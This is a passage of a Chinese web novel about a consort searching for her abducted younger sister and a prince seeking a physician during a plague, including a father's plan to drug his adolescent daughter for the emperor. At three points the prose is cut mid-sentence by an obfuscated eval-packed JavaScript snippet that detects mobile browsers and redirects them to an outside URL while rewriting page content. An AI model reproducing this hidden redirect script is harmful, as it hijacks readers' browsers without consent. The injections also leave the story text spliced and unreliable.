“所以你就用一把剪刀来对抗他?”高玥轻轻握住那把剪刀,“高盼,你太天真了。你以为你削了发,父亲就会放过你?他只会把你送到另一个能为他换取利益的地方。” 这话像一盆冷水,浇在高盼的心上。 她怔怔地看着高玥,她的眼神太过平静,平静得让她害怕。 “不……不会的……”高盼的声音颤抖着,“爹他不会这么对我的……我可是他的亲女儿啊!” “亲女儿?”高玥嗤笑一声,她伸手,轻而易举地夺走了那把剪刀,扔在地上,“当初他送我进宫的时候,可曾问过我一句愿不愿意?你以为你和我,在他心里有什么不同?” “把眼泪擦干。”高玥将她揽入怀中,轻轻拍着她的背。“你的人生,应当掌握在你自己的手里。” “姐姐……我好怕……”高盼的声音带着浓浓的鼻音。 “不怕,”高玥的声音放得很轻,却带着安定人心的力量,“只要我还在这宫里一天,他就动不了你。这件事,我会处理。” 高盼渐渐止住了哭泣,似乎从高玥的话里寻到了一丝安全感,紧绷的身体也慢慢放松下来。 高玥看着高盼,望向了外面灰蒙蒙的天。 她心里很清楚,今日这场闹剧,不过是一个小小的水花。 只要高家还攀附着皇权,只要她还是玥贵妃,高士廉那颗被权欲熏黑了的心,就永远不会安分。 这个家,早已不是家,而是这场权力的旋涡中一个身不由己的存在。 她自己是,高盼是,甚至连母亲也是。 除非……她能拥有真正足以庇护家人的力量。 一种,不必再看任何人脸色,能够制定规则,而不是被动遵守规则的力量。 次日,高玥的预感应验了。 高士廉竟真的铁了心,命人送来一件薄如蝉翼的纱衣,强令高盼穿上。 那件所谓的纱衣,根本不能算得上衣服。 高盼正值豆蔻,身段已初成,那件薄纱松垮地罩在身上,非但没能遮住分毫春色,反而更添了一抹欲说还休的朦胧。 而高高在上的皇帝,此刻的眸子像极了看到猎物的野兽,迸发出灼热的精光。 高盼的脸早已煞白如纸,端着酒杯的手抖得几乎要握不住。 高士廉清了清嗓子,催促与警告的意味不言而喻。 高盼一个激灵,只得强忍着屈辱和恐惧,迈着碎步上前,“臣女……敬,敬陛下……” 话音未落,皇帝便哈哈一笑,那笑声在高盼听来格外刺耳。 他甚至懒得去接那杯酒,只是朝自己身边的锦垫拍了拍,语气带着不容置喙的命令:“敬什么酒,过来,坐朕旁边来。” 一杯接着一杯,皇帝像是找到了什么有趣的玩物,乐此不疲地给她劝酒。 高盼的脑子开始变得昏沉,脸颊也泛起不正常的粉红,她能感觉到皇帝那双粗糙的手掌,她背后游走,每一次触碰都让高盼感到一阵恶心。 不行,再这样下去…… 她猛地推开皇帝的手,借着酒劲摇摇晃晃地站起身,因为起得太急,眼前一阵发黑。 “陛下……”高盼的声音抖得不成样子,“臣女……臣女实在不胜酒力想……想去方便一下,还请陛下恩准。” 皇帝哈哈大笑,不在意地挥了挥手,放她离开。 高盼逃也似地离开宴席,胃里一阵翻江倒海,几乎要当场吐出来。 她不敢回房,想去后山喘口气,却无意中听到两个家仆的低语。 “老爷真是下了血本,连‘合欢散’都用上了,就等小姐从宴席回来,一杯下去,生米煮成熟饭,咱们高家就又出一位娘娘了!” “可不是嘛,咱高家可真是命好!” 合欢散? 高盼只觉得一道惊雷在脑中炸开,浑身的血液都凝固了。 父亲……她的亲生父亲,竟然要对她用这等下作的手段! 她跌跌撞撞地跑回自己的院子,反锁上门。 她不能留在这里,一刻都不能! 她翻出箱底一套仆役衣裳,手忙脚乱地换上,又用香灰抹花了脸。 她记得曾听母亲说过,城外有座风清庵,是清静之地,她要去那里! 可当她走出房门,又开始犹豫。 府里不知何时加强了戒备,到处都是巡逻的家丁,想跑出去,简直难如登天。 “小姐,您这是要去哪儿?” 高盼吓了一跳,转身见到是张婆子,眼泪瞬间夺眶而出。 她抓住张婆子的手,将事情和盘托出,哀求道:“张妈妈,求你,别说出去,救救我!” 张婆子的眼中闪过一丝不忍,她叹了口气:“小姐,您跟我来,老奴知道城外有座破败的小庙,平日里香火断绝,您先去那里避一避。” 张婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她立刻以替母亲祈福为由,带着翠儿,前往风清庵。 风清庵坐落在半山腰,知客僧将她引入殿内,住持亲自出来接待。 高玥开门见山,低声问道:“师太,实不相瞒,本宫是来寻人的。家妹高盼,前几日可曾到贵庵叨扰?” 年迈的住持双手合十,摇了摇头,神色坦然:“贵妃娘娘,出家人不打诳语。本庵从未见过您所说之人。” 从未见过? 高玥的心沉了下去。 …… 与此同时,千里之外的淮北。 防疫措施已初见成效,原本迅速蔓延的疫情,被他以雷霆手段划分出的隔离区牢牢锁住,新增的病患数量开始逐日下降。 然而,这只是将猛虎关进了笼子,笼中的人却依旧被疫病侵扰。 药材一日比一日紧缺,城中大夫累倒了十数个,连勉强熬煮出的汤药,都稀得能照出人影。 这样下去不是办法。 “王爷。”王友的神情有些犹豫。 “我打听到一件事,只是不知当讲不当讲。” “不当讲就不要讲了。”齐思铭看着手中送来的病患名单,头抬也没抬。 王友心下一横,低声说道,“在下听闻,在离此地不过百里的青峰山上,住着一位神医,医术通神,有活死人、肉白骨之能。只是……” 他顿了顿,见齐思铭终于抬眼看向他,才接着说下去:“只是此人脾性古怪至极,从不轻易出手。据说,他立下规矩,非三不救。而这规矩究竟是什么,却无人知晓。听闻前些年,京中有位皇亲国戚慕名求医,备下千金厚礼,却连他的山门都没能进去,被原封不动地挡了回来。” 25. 温柔乡里探先机 王友的话音刚落,齐思铭身旁一位将领冷哼了一声。 此人正是齐思铭的另一位部下,张唯。 与王友不同,张唯向来信奉的是最直接的手段。 “什么狗屁神医,什么三不救,我看这些都不过是故弄玄虚的把戏罢了!” “如今淮北是什么光景?百姓们日日都在等死,哪还有时间跟他耗着?” 帐中几位部下也都纷纷附和,连日来疫病蔓延,别说是百姓了,就连他们各个都人心惶惶。 齐思铭垂着眼,他没有看张唯,指尖有一搭没一搭地敲着桌面。 “绑来?”他的语气中听不出喜怒,“他若存心不救,纵然人在此处,又有何用?我求的是医术,不是人。” “王爷,”王友像是想到什么一样,补充道,“在下查到,这位孙神医,性情孤僻,不求名利,平生所愿,唯有一物。” “龙血藤。” 这三个字一出,帐内瞬间安静下来。 这龙血藤是传说中的奇药,据说有活死人肉白骨之效,可数百年来,只闻其名,未见其踪。 “这不比绑人还难!”张唯嗤笑了一声,“多少人想找这东西,连根毛都没看着。” 齐思铭原本敲击着桌面的手指,不知何时停了下来,他长久地垂着眼,纤长的睫毛下投出一片晦暗的阴影,让人看不清他此刻的情绪。 帐中的部下们此刻全都都屏住了呼吸,连张唯也识趣地闭上了嘴,所有人的目光都汇集在主位上那个沉默的男人身上。 他们知道,王爷正在权衡,而他的每一个决定,都关乎着淮北百姓的生死。 时间仿佛在这一刻被拉长。 不知过了多久,齐思铭终于抬起头。 “王友。”齐思铭开口。 “属下在!” “淮北堪舆图。” 王友不敢有丝毫怠慢,立刻从一旁的木箱中取出一卷羊皮地图,小心翼翼地在桌案上铺开。 那是一副极为详尽的地图,山川、河流、城池、关隘,无一不备。 齐思铭站起身,俯身在地图之上,目光从青峰山的位置开始,一寸寸地扫过图上的山脉与河道。 最终,停在了一处人迹罕至的深谷标记上。 “天下万物,皆有其生长规律。”齐思铭划过图上一片深红色的区域,“龙血藤喜暖畏寒,好湿恶涝,多生于悬崖峭壁的岩石缝隙中,且需朝露晚霜滋养。 而符合这些条件的,整个淮北不出三处。” 帐中方才还因疫病与龙血藤而焦躁的众人,此刻的心中只剩下无声的震动。 谁能想到,在他们因为这传说中的神药而束手无策的时候,他们的王爷,竟能冷静地将一个几乎不可能完成的任务,拆解成清晰可行的步骤。 这哪里是寻药,这分明泰山崩于前而色不变,于绝境之中劈开一条生路。 青峰山山路崎岖,齐思铭只带了王友与四名亲卫,轻车简从,步行上山。 神医的茅庐掩在半山腰一片竹林深处,简陋得与寻常山野村夫的居所无异。 院中晾晒着各色草药,刚进门,浓郁的中药香便扑鼻而来。 一位身形干瘦的老者正在院中捣药,听见脚步声,头也未抬,声音悠闲地说道:“闲人免入,求医滚蛋!” 王友面色一沉,正要发作,齐思铭却上前一步,躬身行了一礼。 “晚辈齐思铭,冒昧来访,还望先生见谅。” 那老者捣药的动作一顿,抬起头,将齐思铭从头到脚打量了一遍,最后嗤笑一声:“齐王爷?我这破茅庐可招待不起。” 齐思铭似乎是没有听到老者口中的揶揄,依旧是再次躬身,“先生说笑了。晚辈此番前来,并非为自己,而是为淮北正饱受疫病之苦的万千百姓,恳请先生出山,救他们于水火。” 听到“百姓”二次,孙神医终于停下了手中的动作,他抬头看向齐思铭,半晌,嘴角扯出一抹讥笑。 “救他们?”他重复了一遍,像是在品味这句话有多可笑,“王爷真是一副慈悲心肠。只可惜,人各有命,富贵在天。” “是病是死,那是他们的定数。便是全都死绝了,那也是他们的命。” “你!” 王友的拳头已经捏得咯咯作响。 齐思铭却恍若未闻,从袖中取出一卷图纸,双手奉上。 “晚辈听闻先生之名,知先生风骨,不敢以俗物相扰。今日前来,除了求医,还有一事。” 他顿了顿,声音诚恳。 “晚辈于医术一窍不通,但却在堪舆地理上略有心得。此图详录了淮北山川地貌与气候变迁,或可为先生寻觅‘龙血藤’,提供一二助力。” 听到“龙血藤”三个字,孙神医脸上的表情一点点褪去。 过了足足半晌,他才哑着嗓子,从牙缝里挤出几个字,“图,拿来给我看看。” 只看了一眼,他的脸色就变了。 堪舆图他也曾见过不少,可能将堪舆图做到如此详尽的,只此一份。 图上的三处用朱砂红标记的地方尤为醒目。 “断龙崖,南坡七百尺处,背阴向阳,午后日照不过三时,可避烈日灼伤。晨间雾气最重,可保藤身湿润。” “一线天,谷底有暗河,水汽充沛,岩壁为青石岩质,多天然裂隙,利于根系攀附。” “小青峰,此山土质偏红,富含铁石,山顶有一小潭,常年不涸,湿度适宜。据前朝旧志,此地曾有异香传出,疑为龙血藤之气。” 他沉默了许久,将图纸小心翼翼地卷起,重新看向齐思铭。 “你倒是与那些草包权贵不同。”孙神医开口。 “不过……” “断龙崖,一线天,小青峰……王爷倒是会挑地方。这图上标记的每一处,都是寻常人有去无回的绝地险境。” “你莫不是想让老夫这一把老骨头,为了你这虚无缥缈的几句推测,就去那悬崖峭壁上拼命?” 齐思铭闻言,只是淡淡一笑,“先生说笑了。” “先生乃是悬壶济世的国手,晚辈怎敢劳烦先生亲赴险境。” “晚辈不才,麾下尚有几位粗通拳脚的武人。这采药之事,自当由他们代劳。别说是这三处险地,便是刀山火海,晚辈也定会为先生将‘龙血藤’取来。” 他的声音不疾不徐,但话语中的分量,却让孙神医无法忽视。 “这份礼,老夫收了。不过,老夫从不欠人人情。你想让我下山,还需回答我一个问题。” 他伸出一根手指,指向西边。 “西山矿场有个矿工,三十出头,体虚乏力,咳痰带血,盗汗不止已有月余。镇上的大夫说是痨病,药吃了一箩筐,人却一天比一天虚。你若能说出个子丑寅卯,老夫便随你走一趟。” 这分明是强人所难。 王友急道:“王爷,他这是刁难您!” 齐思明却抬手示意他安静,他凝神思索片刻,并未直接回答病理,反而问道:“除了这些,他生活起居可有异处?譬如饮食、作息,或是水源?” 孙神医眼中闪过一丝不易察觉的光芒,嘴角露出一丝玩味的笑:“哦?他与旁人饮食无异,唯独饮水,取自后山北坡的一道山泉。” “北坡的山泉……”齐思铭低声重复,脑海中却不自觉地浮现出那张堪舆图。 他抬起头,直视孙神医。 “晚辈虽不知病理,但我上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315873|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山时见西山北坡林木茂密,地面阴湿,日光难至,想必是常年瘴气弥漫。矿工劳作,肺腑本就易损,若再日日饮用此等阴湿之地渗出的泉水,其中恐有肉眼难见的毒物。长年累月,毒素侵入脏腑,症状与痨病相似,但病根迥异。寻常汤药,自然无用。” 王友目瞪口呆,他完全没听懂,但他看懂了孙神医的表情。 孙神医死死盯着齐思铭,半晌,突然放声大笑。 “好!好一个‘病根迥异’!哈哈哈!天下人都道齐王爷不容小觑,今日一见,才知其才智谋略,远胜虚名!” 他将药杵往石臼里一扔,转身便进屋收拾东西。 “走!去看看你说的,是不是你想的那样!” 而与此同时,千里之外的山城高府,气氛同样凝重。 高玥独自站在高盼的闺房之中。 风清庵一行,扑了个空。 庵里的姑子说高盼从未去过,那这条线索便彻底断了。 房间里一尘不染,物件摆放得整整齐齐,熏香的味道都恰到好处,仿佛主人只是暂时外出。 “难道是她偷偷溜出去散心几天?还是我多虑了?” 她屏退了所有下人,关上房门。 【系统,启动环境扫描。】 一道淡蓝色的光幕在她眼前展开,迅速扫过整个房间。 片刻后,在梳妆台的一条桌腿下,一个微弱的红点闪烁起来。 高玥走过去,从那处捻起一点几乎看不见的白色粉末。 粉末无色无味,她放在鼻端轻嗅,随即感到一阵轻微的眩晕。 迷药。 高玥的眼神骤然变冷。 她的视线在房中再次查看,最后定格在妆台的一个角落。 那里放着一枚平安符,这本该是高盼贴身之物。 她走过去,正要拿起,系统的提示音在脑中响起。 【物品:平安福】 【最后接触人:张婆子】 【最后接触时间:两个时辰前】 张婆子? 在宿主的记忆中,这个张婆子是高盼的贴身乳娘,看着她长大的。 l两个时辰前? 高盼失踪已近一日,为何张婆子在两个时辰前还会接触到这枚平安符? 她一言不发,快步走出房间。 “张婆子呢?”她抓住一个小丫鬟问道。 小丫鬟吓了一跳,怯生生地回话:“回……回娘娘,张嬷嬷一早就告了假,说家里亲戚病重,要回去几天。” 告假? 在这个节骨眼上? 所有的线索在瞬间串联起来: 被刻意打扫过的房间,遗落的迷药粉末,本该随身携带却被留下的平安符,以及突然“告假”的张婆子。 高玥只觉一股寒气从背脊升起,她强迫自己冷静下来,转身往回走。 当务之急,不能打草惊蛇,而是要找出张婆子和高盼的下落。 她心事重重地穿过花园,一群身着彩衣的舞姬正嬉笑着经过。 这些舞姬是这两日给皇帝献舞的舞姬,一阵清风拂过,高玥的脚步猛地一顿。 那香气,混杂在廉价的脂粉味中,若有若无,却带着一丝熟悉的,令人微微眩晕的甜腻。 跟刚刚在房中那个粉末的味道一样! 她快步走过去,拦住为首的一人,声音里听不出情绪:“你们是从哪里来的?” 那舞姬被她的气势所慑,不敢隐瞒,连忙屈膝道:“回贵妃娘娘,奴婢们来自红袖阁。” 红袖阁。 张婆子,迷药,红袖阁的舞姬…… 线索没有断。 它只是指向了一个更加黑暗的深渊。 26. 翠钗叩门问幽深 厅堂内,熏香缭绕,面前的高士廉,此刻正忙着张罗下人准备他那些个古玩字画。 那些是准备孝敬皇帝的。 而对于高盼前些时候的“失踪”,他仿佛已经全然抛在脑后。 高玥静静地坐着,指尖无意识地摩挲着茶盏的杯壁,高士廉的那些钻营的话语,此刻一句都没有落在她的耳朵里。 红袖阁。 粉末……张婆子…… 如果说张婆子将高盼迷晕,然后再送进红袖阁…… 那她为什么要这么做?她这么大的年纪了,应该犯不上去做一些铤而走险的事情。 那红袖阁里,究竟藏着什么? 高玥放下茶盏,发出一声清脆的轻响。 看来,这红袖阁她是非去不可了。 高玥的眼底闪过一丝决断。 “翠儿。”她扬声唤道。 翠儿应声而入,见她面色凝重,不由得放轻了脚步:“娘娘有何吩咐?” 高玥状似疲惫地揉了揉眉心,声音也带上了一丝倦意。 “也不知是近来烦心事太多,我夜里总是睡不踏实,脑子里乱糟糟的。”她轻叹了一口气,“你悄悄出去一趟,给我抓些安神助眠的药回来。” 翠儿的脸上立马写满了担忧,“娘娘定是最近因为二小姐的事情而烦忧,奴婢这就去,一定挑那药效最好的给您带回来!” “嗯。”高玥微微颔首,又叮嘱了一句,“就说是本宫近来心绪不宁,需要静养,速去速回,莫要声张。” “奴婢明白!”翠儿不敢耽搁,转身快步退了出去。 看着翠儿匆匆离去的身影,高玥缓缓重新拿起茶盏。 她睡得不好是真的,但是很快有人可以睡得更好了。 她淡淡地瞥了一眼不远处的高士廉,那个人正对着一幅前朝山水画啧啧称奇,对自己这里的动静浑然不觉。 很好。 高玥打开系统的界面,在蓝色光屏上划动了几下,便很快锁定了一个小小的图标。 强效安眠药剂。 万事俱备,只欠东风。 月上柳稍。 高玥坐在桌边静静地等待着。 她特意换上了一袭红榴色的薄纱裙,纱衣轻薄,隐约可见她白皙如玉的肌肤和纤秾合度的身段。 桌上,是她亲手吩咐小厨房备下的几样精致小菜。 “皇上驾到——” 高玥连忙起身,盈盈一拜。 “爱妃今日似乎格外热情。”皇帝把玩着她的一缕发丝,带着帝王惯有的审视。 “臣妾日日都盼着皇上,哪一日不热情了?”高玥侧身倚进他怀里,声音娇媚,“倒是陛下,为国事操劳,龙体要紧。臣妾特意备了新酿的葡萄酒,为您解乏。” 她拍了拍手,翠儿便端着托盘上前,上面放着一尊琉璃酒壶和两只夜光杯。 高玥亲手为皇帝斟满一杯,将酒杯递到皇帝唇边,眉眼弯弯:“皇上,请。” 皇帝的目光落在她脸上,似乎想从她的笑容里看出些什么。 他没有立刻喝酒,反而问道:“这酒,与往日的不同。” 一句话,让高玥的心提到了嗓子眼。 他发现了?不会啊,她特意闻了一下,那药物并无其他特殊气味,这才放心拿来使用的。 高玥面上依旧是柔情似水。 她的指尖轻轻划过皇帝的手背,轻轻笑道:“这是父亲私藏的葡萄酒,说是有奇效,能让人忘却烦忧,一夜好眠。臣妾想着皇上定会喜欢,便擅作主张留下了。” “皇上,您不会是要怪臣妾吧……” 这番话说得滴水不漏,既捧了皇帝,又解释了酒的来历。 “朕是说,”皇帝的心情似乎很好,慢悠悠地补充道:“这酒,比往日的更加香气扑鼻,醇厚醉人,爱妃费心了。” 酒过三巡,菜过五味。 皇帝的动作逐渐迟缓,眼皮也变得沉重。 高玥扶着他躺到龙床上,柔声哄着,没过多久,身侧便传来了均匀的呼吸声。 高玥足足耐心等了一炷香的功夫,才小心翼翼地坐起身。 她动作极快地翻身下床,三两下褪去繁复的宫装,翻出早已备好的一套男子衣衫。 片刻之后,铜镜里映出的已是一位身形清瘦,眉目如画的俊俏公子。 她快步走到窗边,取出一枚精致的银哨,吹出几声规律的哨音。 几乎是哨音落下的瞬间,偏门被无声地推开一道缝隙,翠儿紧张的脸庞探了进来,对她用力点了点头。 高玥看了一眼床上沉睡的帝王,眼中没有丝毫留恋。 她提起衣摆,身形如猫一般,悄无声息地走出偏门。 山城的夜晚比白日更多了几分靡丽。 红袖阁的门前更是车水马龙,悬挂的数百盏大红灯笼将半条街都映照得如同白昼。 空气中弥漫着浓郁的脂粉香和酒气,夹杂着女子的娇笑与男子的高谈阔论。 高玥一袭青衫,混在人群中,显得有些格格不入。 她刚走到门口,就被一个打扮得花枝招展的妈妈拦住了去路。 想必这就是红袖阁的鸨母了。 只见她一双精明的眼睛上下打量着高玥,见她衣着朴素,脸上的笑容淡了三分。 “哟!这位小公子,”鸨母手帕轻轻一甩,嗤笑一声,“瞧您这细皮嫩肉的模样,身上这件青衫怕是连二两银子都不值吧?” “听妈妈一句劝,我们这红袖阁可不是你该来的地方。还是赶紧回家去,点灯熬油,来年求个功名才是正经。别在这儿学人家风花雪月,挡了贵客的道儿了。” 说完,她身后立刻站出两个膀大腰圆的护院,眼神不善地盯着高玥。 周围一些寻欢客投来鄙夷或看好戏的目光。 高玥轻笑了一声,“妈妈这是说的什么话。”她抬起眼,“我来这里,自然是备了好东西给姑娘们的。” 说完,她不紧不慢地从袖中取出一物。 那是一支碧玉钗,温润通透,在灯笼的红光下流转着一层莹润的光泽,水头极好,绿得几乎要滴出水来。 这等成色的琉璃翡翠钗,整个大胤朝,怕是也只有宫里的贵主们才能拥有。 鸨母那双精明的眼睛瞬间就直了,死死地钉在那支玉钗上。 “哎哟!是小的有眼不识泰山!原来是贵客啊!”她狠狠抽了自己一个耳光,“贵客里面请,快里面请!给您备最好的雅间!” 说完,她还狠狠地瞪了身边的人一眼,随即便换上了一副谄媚的笑容。 “都长点眼色!这位是天大的贵客,谁要是怠慢了,仔细你们的皮!” 高玥被这番动静引得众人瞩目,微微蹙眉。 她此番前来是为了探查红袖阁,并不想如此高调。 “不必雅间,大堂即可。” “是,是,听贵人的。”鸨母不敢有任何异议,连忙将她引到大堂一个视野最好的位置。 高玥坐下,目光扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315874|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过整个大堂。 正中央是一座精雕细琢的舞台,上面有女子正抱着琵琶,浅唱低吟。 这里的姑娘们个个身姿窈窕,举止有度,或为客人添酒,或与客人对弈,眉梢眼角皆是风情,却并无半分低俗的谄媚。 而那些客人,也大多是衣着光鲜的富商或文人雅士,举止间倒也守着几分体面。 与其说是青楼,倒不如说是一个以美色和才艺为点的社交场。 她不动声色地观察着,很快便锁定了一个目标。 邻桌的一个中年男子,衣着华贵,却独自饮酒,眼神并不在那些妖娆的舞姬身上,而是带着一种审视的意味,打量着那些舞姬。 高玥心念一动,端起酒杯主动走了过去。 “这位兄台,一个人喝酒多无趣,小弟初来乍到,可否有幸与兄台共饮一杯?”她学着台下那些纨绔子弟的语气,带着几分自来熟的熟稔。 那男子抬眼看她,眼中闪过一丝警惕,但在看清高玥那张俊秀无害的脸后,警惕又化作了然。 大概是把她当成了哪家偷跑出来见世面的富家少爷。 “坐。” 高玥也不客气,在他对面坐下,为他满上一杯酒。 “小弟姓高,不知兄台如何称呼?” “免了,萍水相逢,不必深交。”男子端起酒杯一饮而尽,显然不愿多谈。 “兄台说的是。”高玥也不恼,从怀中摸出一张百两的银票,轻轻推到男子面前,“小弟第一回来这种地方,很多规矩不懂,还望兄台指点一二。这点银子,就当是请兄台喝酒了。” 男子的眼睛亮了一下,他不动声色地将银票收入袖中,态度却缓和了不少。 “算你小子懂事。”他重新打量了高玥一番,“看你年纪轻轻,出手倒是阔绰。” “小弟听闻这红袖阁乃是山城第一风流地,只是看这光景,似乎也不过如此?”高玥的脸上露出了失望的表情。 男子闻言,发出一声嗤笑。 “不过如此?小子,你懂什么。”他压低了声音,身体微微前倾,“这大堂里的姑娘,不过是些上不得台面的开胃小菜。” 他朝着楼上扬了扬下巴,眼神变得神秘起来。 “真正的好东西,都在上面。这红袖阁,有明暗两层。你现在看到的,是明面上的生意。而那暗里的,才是它真正让人流连忘返的地方。” “暗里的?”高玥顺着他的话追问。 “没错。” “那可不是你有银子就可以的,你得有门路,有身份。上面的姑娘,每一个都身怀绝技,琴棋书画、异域风情,甚至……还有些你想都想不到的刺激玩意儿……” 高玥的眼中闪烁着好奇:“听兄台说得如此神乎其神,想必是楼上的常客了?” 谁知那男子像是被戳中了痛处,随即干咳一声来掩饰自己的尴尬。 “我?我可没那福分。” 说着,他又将高玥从头到脚打量了一遍,带着一丝过来人的告诫:“不过我看你这小兄弟,也还是省省吧。别以为有几个钱就能为所欲为,楼上那地方,可不是咱们这种人能肖想的。” 高玥的心沉了下去,看来这里比她预想的还要复杂。 她看着眼前的男子,知道今晚的突破口就在他身上。 “那要如何才能上去?” 男子咧嘴一笑,凑近说道。 “既然你这么想去,倒也不是没法子。不过这引路钱,可不是刚才那点就能打发的。” 27. 金蝉脱壳戏权贵 那个男子伸出五根手指,一双眼睛紧紧盯着高玥。 高玥看着那五根在她面前晃悠的手指,点了点头。 不动声色地从袖中摸出一张银票,轻轻拍在桌上。 “五百两,成交。带我上去。” 看到这张银票,面前的男子从鼻子里发出了一声轻蔑地冷哼。 “五百两?”他的表情就像是看傻子一样,“你不会以为这三层是谁都能上去的吧?”、 五百两银子,对于寻常人家已是天文数字,可在这里竟只换得了一声嗤笑? 她再次看向面前的男子,一个荒唐的念头从心底腾起。 如果不是五百……那难道是五千两?! 这简直就是明抢! 高玥的脸色变了几变,最后讪讪开口,“五千两……这位大哥,你可知,别说这五千两了,就连五百两可都不是普通人家能随随便便出得起的。” 谁知那男子像是意料之中似的,朝着楼上努了努嘴。 意思就是,“你出不起,有的人出得起。” 五千两…… 她心中反复默念着这个数字,只觉得荒唐。 如今河北河道决堤,流民遍地,饿殍载道。 淮北又起了瘟疫,不知多少百姓在死亡的边缘上挣扎。 可这纸醉金迷的地方,却有人一掷千金,只为片刻的欢愉。 这世道,原来早已烂到了骨子里。 正当她思忖对策的时候,眼角余光瞥见楼梯处走下来一道熟悉的身影。 那人锦衣华服,怀里搂着一个哭哭啼啼的小娘子,脸上带着酒色过度的潮红与不耐。 是户部侍郎李家的公子,李显。 高玥见过他几次,在宫宴上跟在自家老爹身后,一副唯唯诺诺的样子,没想到私下里竟是这般放浪形骸。 高玥直直地盯着他,一个念头在在脑海中飞速成型。 她敛了敛笑容,换上窘迫的模样,微微叹了口气,装作有些为难地说道:“可是五千两这也太多了。我今日出门急,身上只带了些散碎银子,不知兄台可否行个方便?事成之后我定不会少了兄台的!” 那男子听到这番话,脸上的笑容满满僵住。 他上下打量了高玥几眼,见她虽衣着不凡,但细看衣服的料子纹案也都非顶级,再加之她现在面容窘迫的样子,想必只是个普通商贾之流罢了。 本来见他过来时候气质不凡的样子,还想着能蹭着光到三楼见见世面,可如今…… 他心中冷笑了一番,声音提高了好几度。 “没钱?” “没钱你来这儿装什么大爷,搞了半天,是个打肿脸充胖子的穷光蛋!” 他的声音也引来了楼梯间李显的注意。 他本就因怀中女子的哭闹而烦躁,此刻更是被这争执吵得头疼,不耐烦地看向高玥这边。 他怀中的小娘子趁着他分神的功夫,想从他手臂中挣脱出去,可还没来得及挣扎,就被李显狠狠拽了回来。 “老实点!”李显低声呵斥。 安抚了怀中的人,李显再次看向高玥。 这女人的脸……怎么有些面熟? 他皱眉思索,却怎么也想不起来究竟在何处见过,只得作罢。 而高玥也察觉到了李显的目光,不自觉地别过了头去,正好呈现一个背对的姿势。 待悄悄回过头时,看到李显拖拽着那名女子离开红袖阁,她悄悄松了口气。 而面前的男子已经下了逐客令:“赶紧滚赶紧滚,别在这儿碍了贵人的眼!” 高玥要的就是这个效果。 她垂下眼帘,面上却装出几分被羞辱后的愤怒。 “你休要狗眼看人低!我不过是暂时手头不便,你等着,我早晚要让你刮目相看!” 她故意提高了声音,语气里夹杂着些许的不服气。 “我等着?我等你什么时候飞黄腾达了再来吧!”男子不耐烦地挥挥手,“快滚快滚!” 高玥愤怒地甩了甩袖子,转身便走,随即便钻入一处无人注意的暗角。 “系统,兑换□□,目标人物,李显。” 【高级□□已兑换,消耗积分500点。时效一个时辰,请玩家尽快使用。】 话音刚落,一张薄如蝉翼的人面面具出现在她手中。 高玥没有犹豫,迅速将其覆在脸上,清秀少年的面容逐渐模糊,取而代之的是李显那张略显浮肿的脸。 紧接着她又在暗处学着李显走路的样子来回扭了几下,这才放心地走了出来。 她深吸一口气,吊儿郎当地朝着方才李显下来的那条楼梯走去。 然而,她一只脚刚踩上楼梯,一道黑影便拦在了她的面前。 “站住。” 高玥下意识地抬起头,拦路地是一个身材魁梧的守卫,正一脸警惕地审视着她。 “你是谁,来干什么的?你不懂三楼的规矩吗?” 第一次装成别人,这么快就被拦下来了,难道是哪里露馅了? “我……” 高玥内心飞快地盘算着说辞,还没来得及开口,身后便传来一阵香风。 “瞎了你的狗眼!” 刚刚的那位鸨母上来就对着那守卫的脑袋不轻不重地拍了一下。 “连李公子都敢拦,我看你是吃了熊心豹子胆了!” 那鸨母训斥完守卫,便立刻又换上了一副谄媚的笑容,扭着腰走到高玥面前。 “李公子可是落了什么东西,还是说……舍不得咱们的姑娘呀?”鸨母的眼神一寸一寸的扫过高玥,笑得别有深意,“您只管说,想要什么样的姑娘,妈妈我保管给您安排的妥妥帖帖!” 看来这□□着实不凡,高玥暗自松了口气。 高玥学着李显的不耐烦的模样瞥了鸨母一眼,“我确实是有东西落在上面了。” 谁知鸨母笑得更加花枝乱颤,“多大点事,何必您亲自跑一趟。您在这歇着,我马上让姑娘们给你送来。” 话音刚落,高玥便脸色一沉,厉声呵斥道,“我的东西金贵着呢,要是不小心弄坏了,你赔得起吗?!” 鸨母脸上的笑意瞬间凝固,她连忙转过身,对着那还愣在原地的守卫又是一脚,“没听见李公子的话吗?还不快滚开!一点眼力见都没有的东西!” 那个守卫被踹得一个踉跄,哪里还敢阻拦,连忙闪到了一旁。 高玥冷哼了一声,整理好衣襟,便大摇大摆地走上了三楼。 楼上的布局比下面雅致许多,空气中弥漫着一股甜腻的熏香,混合着酒气,令人闻之欲呕。 走廊两侧是一间间紧闭的房门,隐约还能听到里面传出的靡靡之音。 她屏住呼吸,仔细分辨着每一个房间里传来的动静,试图捕捉到任何关于高盼的蛛丝马迹。 走廊尽头的一间房似乎格外安静,与其他房间的喧闹格格不入。 